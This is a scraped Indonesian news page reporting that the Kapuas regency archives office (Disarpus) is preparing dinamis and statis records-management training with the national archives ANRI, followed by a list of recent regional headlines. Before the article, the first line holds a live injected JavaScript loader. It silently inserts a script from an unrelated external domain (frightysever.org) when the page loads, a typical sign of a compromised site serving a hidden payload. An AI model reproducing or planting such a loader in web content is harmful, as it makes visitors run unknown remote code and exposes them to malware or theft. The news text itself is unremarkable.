(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Disarpus Kapuas Siapkan Pelatihan Pengelolaan Kearsipan di ANRI


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas pertengahan Februari nanti akan mengadakan pelatihan pengelolaan arsip dinamis dan arsip statis yang diikuti oleh sekretaris, tata usaha, arsiparis, dan pengelola arsip pada dinas, kecamatan dan kelurahan se Kabupaten Kapuas.

Rencana pelatihan disampaikan Kepala Dinas Arsip dan Perpustakan (Disarpus) Kapuas H Suwarno Muriyat, Senin (20/1/2025) siang di ruang kerjanya. Dia menyebut pelatihan ini bertujuan untuk memberikan pemahaman mendalam tentang pengelolaan arsip dinamis dan statis.

“Arsip dinamis mencakup dokumen yang masih aktif digunakan dalam proses administrasi, sedangkan arsip statis adalah dokumen yang memiliki nilai sejarah dan disimpan secara permanen,” ujarnya.

Baca juga: Inovasi di Kabupaten Banjar Terus Meningkat

Disarpus Kapuas ingin memastikan bahwa pengelolaan arsip di setiap OPD (Organisasi Perangkat Daerah) lebih terstruktur, aman, dan sesuai standar nasional.

Melalui pelatihan diharapkan para peserta dapat meningkatkan keterampilan dan kesadaran pentingnya arsip dalam mendukung akuntabilitas dan transparansi pemerintahan.

“Beberapa waktu lalu saya telah bertemu langsung dengan pak Hilman Rosmana selaku Direktur Kearsipan Daerah I ANRI di Jakarta. Beliau menyambut baik inisiatif Pemkab Kapuas dalam mendorong semua OPD agar lebih tertib dalam pengelolaan arsip, mengingat arsip merupakan aset penting dalam mendukung pengambilan keputusan, pelaporan, serta penyelamatan dokumen bersejarah,” jelas Suwarno Muriyat.

Baca juga: Peringati Isra Mikraj, Sekda HSU: Luangkan Waktu Salat Berjamaah di Sela Bekerja

Dia menambahkan, ANRI (Arsip Nasional Republik Indonesia) akan menyiapkan tenaga berkompeten sebagai narasumber, tempat pelatihan serta memfasilitasi menuju lokasi studi lapangan, sebagaimana yang pernah dilakukan pada tahun lalu untuk desa dan kelurahan tanpa biaya kontribusi.

“Calon peserta pelatihan wajib mendaftar pada Bidang Pengelolaan Arsip Disarpus Kapuas paling lambat 14 Februari 2025. Seluruh peserta pelatihan wajib mengikuti prosedur yang telah ditetapkan ANRI,” tegasnya. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.